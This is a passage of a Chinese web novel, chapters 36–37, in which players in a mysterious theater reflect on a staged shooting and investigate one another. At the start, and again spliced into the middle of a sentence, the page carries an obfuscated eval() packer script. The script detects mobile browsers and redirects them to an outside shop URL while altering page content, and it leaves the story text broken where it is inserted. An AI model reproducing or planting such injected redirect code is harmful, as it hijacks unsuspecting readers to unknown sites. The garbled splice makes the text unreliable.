;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你到底想做什么?”应如观问道。 “你会在明天的新闻头条看到的。如果你还能活到那时候的话。而且,我不是说了吗。” “我只是想过上正常人的生活而已。” “徐青木,你——”他的话语卡在喉咙。 舒觉举起那把手枪,枪口正对着他眉心。 绝对瞄准。应如观有种预感,这次,他不可能躲得开。 “为了这个,你可以不惜这么多条人命?”他的声音因恐惧而变轻,“这样看来,他们对你的监视还真没错。” “——你又懂什么?”舒觉平静的面容开裂了,底下的狂怒即将倾泻而出。 “你有试过无时无刻不被监视的生活吗?你有感受过不能做错任何一点事的恐惧吗?你有被连续几天被不同人审问,只是因为你和陌生人说了几句话吗?你有经历过这样的人生吗?” “你不是。你是本可以安稳生活在这个社会的正常人,却选择了一条和我相差无几的道路。你又能懂什么呢?” 她深吸一口气,努力平复下来。舒觉微笑了一下,语调又变得平静柔和:“不过,或许你说得对。毕竟,你们叫我Animus。” “我承载了你们所有人的恶意,我也会是对你们所有人的恶意。” “那这一切结束后,你又想怎么样过上正常人的生活呢?”应如观反问,“你以为杀了我和他们,就能让警方放过你?” “我是不能。但网络可以。”她神秘地翘起唇角,“犯罪分子和警察一同葬身火海,唯一存活的是被劫持的无辜人质,同时是帮助警方的线人。她身受重伤,孤独无依,却还是带出了重要的情报。你猜猜,我在这个故事里,会是什么样的角色?” 一切都该结束了。不论是这个故事,还是这出剧目。 “你是不是以为我不会用枪,医生?”她的声音如同梦呓,手指用力,她扣下扳机。 “——砰”。 36. 第 36 章 这女孩有问题。 姜满想。这甚至是不需要分析的事,任何一个正常人在看过她的演绎后都会有相同的想法。 首先,也是最明显的:她怎么会用枪?虽然那会儿她在剧里已经挂了,但不代表她不能用旁观者视角看完这一幕演出。剧场在这方面向来如此贴心。 她是专业的,自然能看出她也是。姿势、手法、眼神……每一个部分都说明,这不是她第一次开枪。 这是否意味着,这也不是她第一次杀人? 这个推断有些冒进,姜满自己也清楚,但她无法克制自己不那么想。 尤其是现在。她看着舒觉面容平静,与寻常无二地与应如观谈话,这根本不是正常人开枪杀完人后应该有的反应。即使他们知道这是假的。 这可不是一般片场里在拍摄。你握住枪柄,你扣下扳机,你感受到子弹呼啸而过的风,你听到对方倒地的声音。每一个瞬间都无比真实,乃至于能够让人相信,自己真的亲手抹去一条生命。 看看曾经的洛珠,再看看她。姜满表面不显,只是观察,那样仿佛什么也没发生的样子,实在是让她不敢置信。她见过很多第一次开枪杀人的人;没有哪一个能像她这样淡然处之。 不,是无动于衷。 退一万步说,她真是自己宣称的“普通大学生”,难道她的心理素质真能强大到这个地步?能够如此清晰利落地分辨出演绎与现实,抽刀断水一般将演绎中体会到的东西全部丢在舞台上,丝毫不带入现实里? 她无法相信。 但她也不觉得舒觉会是幕后真凶;原因无他,她太年轻了。这么大规模的连续作案不可能有这么年轻的领袖。就算她说谎好了,姜满怎么观察她的皮肤,也不觉得她有可能超过25岁。也没看出整容和保养的迹象。 不如说这女孩护肤算很随便了,她亲耳听到,她和乔木几个人聊天:“护肤?我一般不怎么做诶,反正也没这个需求。也就冬天风大太干了要擦点手霜面霜。夏天没很热的话不会出油,洗面奶都不需要。” 乔木有些意外,“但你皮肤很好。果然归根到底这些还是看基因。” “那乔大厨你一般怎么护肤?我猜猜,打底半小时?”曲语冰调笑。 “我追求效率。”乔木冷酷地回答,没有多透露自己的护肤步骤。 打住,她怎么开小差了。说到哪里了?对,幕后主谋这件事。 但反过来看,她不太可能是幕后主使,那么她是底下重要人员的可能性反而上升了。 也就是说,她是“编剧”的可能性。 姜满心里闪过诸多分析,但没有确切证据前她不会下任何定论,这是对她专业能力的侮辱,也是对当事人的不尊重。 去掉舒觉,应如观也有些可疑。只是他的嫌疑暂且还没有舒觉那么大。作为一个法医,那种好身手多少有些不自然,但还可以用他天生运动能力发达、经常练武术来解释;那又快又准的一刀或许是法医的什么绝学秘活;总之…… 姜满看到苏彦终于不揉肚子了,开始加入舒觉和应如观的谈话。他甚至开始将自己被舒觉捅了一刀作为玩笑,大概是想让舒觉不要有负罪感,安心一些。 她看舒觉根本就不需要。姜满暗地里翻了个白眼,除了开枪那一幕,前面舒觉面无表情捅苏彦刀子也让她印象相当深刻,不过她不确定是不是因为当时自己还在戏里,受到了表演的影响。 但不管怎么说,一般人能做得出这么轻描淡写地刺伤别人吗?还在里头转了几圈?电视剧里的反社会杀人狂倒是经常这么演。 看着苏彦那毫无戒心的模样,姜满只想扶额:她原以为是带了个帮手进来,没想到是条对新认识生客也会摇尾巴的田园犬。 但好在,犬类什么不说,就是忠诚。她至少能确定苏彦不是她的敌人。后面肯定还有很多用得上他的地方。 虽然对他容易相信别人这点不太满意,但姜满并不后悔选择他做自己队员。毕竟他一个年轻孩子,轻信他人很正常,心里头还没有被这复杂社会削成模糊灰色。 至于她自己,姜满不会相信任何人。 她想起和苏彦的见面:刚毕业的大男孩坐在她对面,眼神一眨不眨地听她陈述任务内容、提出要求、评估风险。 他看起来有点紧张,又有些期待,带着不易察觉的神经质,仿佛有一个巨大的担子总是在他肩上,而他快要被压垮了。 姜满不是不明白他的压力缘何而来:一个忽然疯了的母亲,一个忙于公务的父亲,作为家里的独生子,他肯定背负了太多的期望,也就是说,太多的压力。 她本没指望他会接下这个任务。她不担心,毕竟还有很多备选人才,苏彦只是其中比较优秀的一个,但不是唯一一个。 但这男孩只是抬起头,眼神干净地看着她:“如果我进到这个剧场里,可以许愿治好我母亲的病吗?” 姜满愣了一下。片刻,她缓缓说:“可以。但是在服从我指挥,且情况允许之下。” 他点点头,“好。我愿意接受这次任务。” 就是那个瞬间,姜满确定了自己的人选。 她知道,不论发生什么,他都有一个绝不会退缩的理由。 ***** 夜晚,姜满躺在房间里,手环忽然弹出消息。她拉开光幕,被消息震得立时从床上弹起——她脸上还贴着一层微细菌合成泥面膜,包含美白、保湿、去皱等多重功能。 在外面的世界,这一份面膜便已价格不斐,但在剧场内,兑换点数倒是很便宜。设置者似乎认为这是很少演员会消费的东西,因此价格很是喜人。 姜满不顾面膜差点从脸上抖下,紧急打开了光幕,迅速敲击:我要的资料找到了吗? 对面回复:有进展。 又发来一句:您要查的还真是个人物。 姜满不兜圈子:结果? 对面:冀湖大学确实有这么一号人,我网上调查加实地走访,确定学籍不是伪造的。不过,再多的,相关人员都说不出。不管是学业表现还是人际交往。 这就是说,她空有学籍,却从来没去过学校。而且背后有隐情,否则以那人的沟通手段,不可能什么都问不出来,辅导员之流也没有必要隐瞒。 姜满一边思索,一边等候对方继续陈述:接下来就更有意思了。你猜猜看,她的监护人是 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不是姜满自夸,现代社会想要调查一个人的生平经历,基本是用不着去政府找档案的——一个人只要活着,就必定会留下诸多痕迹,这些痕迹就像水面的波纹,仿佛毫不起眼又很快消逝,但只要顺着摸下去,往往能抓到一尾大鱼。 对面:她在冀湖市的活动,是从六年前才开始出现的。在此之前,我没有在这个城市里找到她的影子。 姜满:在别的城市? 对面:或许。也有可能她曾经有别的名字。那想查出来就更难。 如果把范围扩大到全国乃至全世界,那纵使是顶级调查人员也无能为力。姜满也没法再多要求,对方的精力也是有限的,她肯帮她都已经很讲情分。 对面:幼儿园、小学、初中、高中,她的履历均是一片空白。没有公开的社交账号,没有分享过丝毫日常,网络上甚至连她本人的照片都很难找到。如果不是安律师收养她要走法律程序,我连她长什么样都摸不清楚。 听起来她是位神秘主义人士。诡异的地方越来越多,姜满心中的怀疑也越来越浓。她写:安律师收养她没有公开报道? 对面:没有。 对面:换句话说,她像一出生就是十四岁。假使你告诉我她现年二十这一点是真的。 那当然不可能。且不说研究仿生人是法律禁区,目前科技水平也做不到这点。姜满斟字酌句:也就是说,她的过往经历被藏起来了。 被谁? 或者说,被什么样的力量? 她们心中都有了答案。姜满盯着闪烁频次逐渐加快的光幕,最后敲出:继续往下查。有消息及时联络。 对面:我也想,但你这地址也太跳脱了,就算你给了我追踪方法,我也是只能听凭天命。 姜满:尽你所能。 对面:为了你,当然,大小姐。 这是她收到的最后一句话。姜满凝视着消散的光幕,不情愿地承认:她确实很怀念和对方的交流。即使她从来没喜欢过大小姐这个称呼。 “你不也是位大小姐么,小西。”她喃喃自语,“比我符合多了。” 37. 第 37 章 苏彦一从演绎舞台回来,就收获了一拨掌声。 真是闹得他脸红。但好歹也是现实里上过多次大舞台的人,他拳头抵在唇下,轻咳一声,拿出主场的气度一挥手:“谢谢大家捧场!” “客气了客气了。”曲语冰笑着说,“我们可是实打实欣赏了一场live转播。” 实在是太抬举他了。但顺着往下说就要没完没了,苏彦索性转了个话题:“真没想到,演绎里居然也会出现唱歌的情节。” “你也是风格全包,一网打尽。”乔木评价。 鉴于刚刚他扮演的角色真的唱了一个多小时的live,还隔几首歌就换风格,从重金属摇滚到慢节奏抒情,又换到电音洗脑和轻快小甜歌,苏彦居然全唱下来了,也没听出太多不对的地方,实在是水平高超。 苏彦挠挠头,“其实我也不是每首都听过,不过平时给台词的光幕这次给了歌词和乐谱,真的是临时对着谱子唱出来的。” “而且还不能错。”他有点痛苦地叹了口气,“一错剧场就会提示,然后重来一遍——” “嗯?但我们看到的版本是你一次唱完了?” “那看来是精修剪辑版。”舒觉先前一直不作声,这时才发一句话。她并未和其他人一起闹腾,与其说沉静,反而似乎有点焦虑。 乔木不着痕迹地瞥她一眼,转向苏彦问:“剧场不会惩罚?” “不会。”苏彦没察觉,答得肯定,“我当时也问了,幕后说唱歌部分唱错的话,不会有惩罚,但要唱到音调和节奏正确为止。” “哇,那五音不全的话不是完蛋了。”曲语冰作出惊慌的样子。但因为太漫不经心,反而有点诡异的好笑。 “到现在为止也就出现了一次,而且还是剧本题材问题——”苏彦这次的角色是个打算逐梦娱乐圈的乐队主唱,“我猜碰上这种情节的概率挺小的。” “那就好。”坐在曲语冰和舒觉中间,洛珠明显松了口气,“我对唱歌没什么信心……” “放心啦。毕竟不会惩罚,我后面又问了一下不会看乐谱怎么办,幕后说可以给原唱听,能反复练习到对上音准节拍为止。”苏彦说。 不得不感叹他的细致。这真是把方方面面不同情况都问到了,其实他自己是不需要这些答案的——专门学习练习过还是不一样。但除了他以外,目前来看,其他人都没有深入了解过声乐,这些问题对他们来说就很重要了。 舒觉不由自主地微微蹙眉。她意识到乔木和曲语冰都在看她。他们大概是担心。她没有回应。 她站起身,“我出去一下。” 大家都愣了愣,但这并没什么奇怪,苏彦还朝她挥挥手,叮嘱她路上小心,就好像这里真的有什么威胁一样。 舒觉离开宿舍楼,向图书馆走去。 她心里有些烦躁,就算说是要找线索或者追溯这里的起源,也耐不下心来做这些。 碰上唱歌情节的解决方法……她姑且学过识谱,但也不能保证自己一定能唱得正确。至于能放原唱,对她来说,这个方法行不通。 恐怕她失聪的事实很快就要暴露了。何况她还不能确认,这次的“投资方”是敌是友。如果那人是个愉悦犯,要拿她听不见的地方给她设陷阱开刀,她很难防范。 既然不想干活儿,那就算了。舒觉放弃了勉强自己,她打算随便找本不需要动脑子的读物打发下时间,最好轻松搞笑些,能让她忘掉些不愉快。 随意走了一段后,她在书架边看到一个身影。舒觉绕过去,在他眼前打了个响指,“嗨。” 祝时明一下子弹到椅背上,好好撞了下,他胡乱地回答:“啊,嘿。嗯。” 舒觉感到有些好笑。她坐到他对面。“你在看什么?” 他面前没有摆纸质书,而是图书馆专用的阅读光幕,模仿成了纸质书的样子。祝时明说:“与其说是看……我在复盘之前的剧目。” “复盘?自己的演技吗?”舒觉略感意外,她没看出祝时明是这样“上进”的人。 还是说,他也有什么想要实现的愿望? 与之相对,祝时明摇摇头。“不是。我是在回忆之前剧本的内容。” 就是说,他们之前演出的内容。但复盘这个有什么用? 他接着说:“我有个猜想。虽然没根据,但我觉得……” “也许这些剧本,不是被随机挑出来的。” 没有等到舒觉表态,他有点慌乱地解释:“就是,我觉得,‘编剧’应该是个比较恶趣味的人物,在能演出的剧本有限的情况下,他可能会做出一些特别的选择?比如同一个情节,我们有些人能演,但有些人绝对演不了。我觉得说不定他会针对个人情况来安排角色。” 这倒是……一个很有意思的观点。舒觉沉吟片刻,干脆地说:“那来吧。” 祝时明明显高兴起来,他调出一个共享光幕,摆到两人中间,“我正想着要请你帮忙。毕竟,这些剧目都不能回放。” 是要借助她的记忆力。舒觉直入正题,“那就从第一个,【这门亲事我不同意】开始吧。” “故事本身不复杂,我已经整理出来了。”祝时明说,“苏彦扮演哥哥,洛珠是他的妹妹,在哥哥不知情的情况下交了个男朋友——乔木,并且乔木和苏彦的角色互相认识。是很经典的青春恋爱喜剧。” “这个人物关系还挺恶搞的。”舒觉评价,“洛珠的确很有年纪小的感觉;但乔木总体比苏彦更成熟。本来应该是未来小舅子教训妹夫的地方,苏彦气势都完全压不过乔木。” “那会儿他们还不太熟,总体也比较僵硬。”祝时明赞同,“不顾后面熟了演得都比较轻松。刚好这三个角色和演员本人的性格也相近,不会有很难表演的部分。” “嗯,这一部看不太出有什么特别的地方。硬要说的话,这个人物关系有点刻意,但苏彦不是独生子吗?他和乔木现实里也不认识,洛珠同样。” 祝时明目光闪动,他略微垂下头,“或许是吧。” “接下来,排除那两个校园霸凌的剧目——毕竟都很短,也只有两个人物出场,感觉不太有参考价值。要说他们真的有经历过校园霸凌,也看不出来。他们抵触的都不是霸凌这件事本身,而是别的部分。” 祝时明赞成了她的判断。于是舒觉跳过它们,往下来到她自己主演的剧本。 “【白日堂皇】。我觉得这部剧还挺复杂的。” 祝时明老实承认:“可能是我平时看刑侦剧很少?也没有实际参演,你们演的每一集我基本都看了,但感觉到最后还是有点云里雾里。” “那你可真是找对人了,是吧。”舒觉调侃,“主演之一就坐在你对面呢。” 祝时明不好意思地笑笑。他似乎并不排斥在她面前显得不够聪明,“那我先梳理一下我看出来的部分。” “故事的开始,是姜满扮演的警官‘请求’你扮演的女孩协助她调查重新活动的人口贩卖组织。”他在“请求”上加了重音,两人都清楚那是另一种威胁,“女孩答应了,成为警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791270|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官的线人。 “之后引入应医生扮演的法医的线。这个角色表面是个法医,实际上背地里应该是有做杀人的委托,具体原因不明晰。法医接下了绑架线人的委托,但并不情愿。从台词猜测,应该是为了还对方人情。 “再之后,线人被法医绑走并催眠,警官开始搜寻。最终在废弃厂房里,双方对峙,线人重伤协助她的低级警官后,法医趁机杀死高级警官,在他以为万事皆休时,线人拿起警察的枪,将他杀死。” “只是故事情节的话,基本就是这么回事。”舒觉表扬了他的总结能力,祝时明笑笑,有些羞赧的样子。 他说:“我听说,这个最后结局是你们商量后改的?” 舒觉颔首,“是。当时应医生和我商量了一下,剧场方也允许了,我们就这样改了。” “原版是什么样?” “法医干掉了所有人,线人没有从催眠中醒来,警官全灭,黑恶势力大获全胜,结束。” 祝时明并没有意外的样子。“真是黑暗的剧本。但从逻辑上来说,是合理的。不过,为什么你们要改?” 舒觉思考了一下,“我不太清楚。我自己的话,改不改我要做的事区别不大,只是最后要开枪射击那一下;应医生的话,我不清楚。” “我猜,他只是不想伤害别人吧。”她想起之前男人对她的歉意,随口说。 “难得这样他就没有伤害别人吗?”祝时明突兀地反问。 青年深吸一口气,尽量保持语气平稳:“他只是不想自己动手表演杀人。他逃避了自己本应该承担的任务和负罪感,转接给了你。这也算没有伤害别人?” 舒觉眨眨眼,愕然于他的情感爆发。她以为他要说的是他割喉姜满那一幕。没想到是……这个。他是在为她不平。 她心中一动,柔声说:“没关系的。我也同意了,这对我来说不难——” “但痛苦还是存在啊。这和他强迫你杀人有什么区别?难道就因为你会杀人,所以就应该让你去杀人?又不是每个人都能毫无心理负担地杀害别人,凭什么要你去承担这个道德的痛苦?” 舒觉无言。倏尔,祝时明也意识到自己情绪过激了,他不好意思地低下头,喃喃:“我只是不喜欢他这种做法。我觉得,这样是不对的。” 舒觉凝视着他。直到他重新抬起眼睛,她才直视他的双目,轻缓地说:“谢谢你。” 祝时明摇摇头,“这应该是常识才对。” 不,这不是。舒觉默然地想,有多少人因为她的过往,如此轻易地、擅自地认定她是个对夺走生命不会动容的怪物?有多少人因为她明白如何叫人毙命,就指派她成为刽子手? 因为她会。因为她做过。所以她一定不会为此痛苦吧,她不会觉得自己手上的血无论如何都洗不清了吧,她不会在无数个夜晚里猛然惊醒,盯着自己的手好像那里还握着那把刀吧。 既然这样,那为什么不让她去呢? 反正她那样合适、那样“轻松”啊。 “子弹。子弹比刀好一点。” 舒觉也不知道自己在说什么,毫无逻辑的话语从她口中流泻,“如果是子弹,我可以假装是子弹杀了人,不是我;但是刀子……没有办法。” 她自己都不知道自己在说什么。如果被麦声看到,大概会嘲笑她太多愁善感吧。这就是他们和他最不一样的地方。 但祝时明只是看着她,那眼神不是同情,不是担忧,只是一种通透的理解。就好像他真的能明白。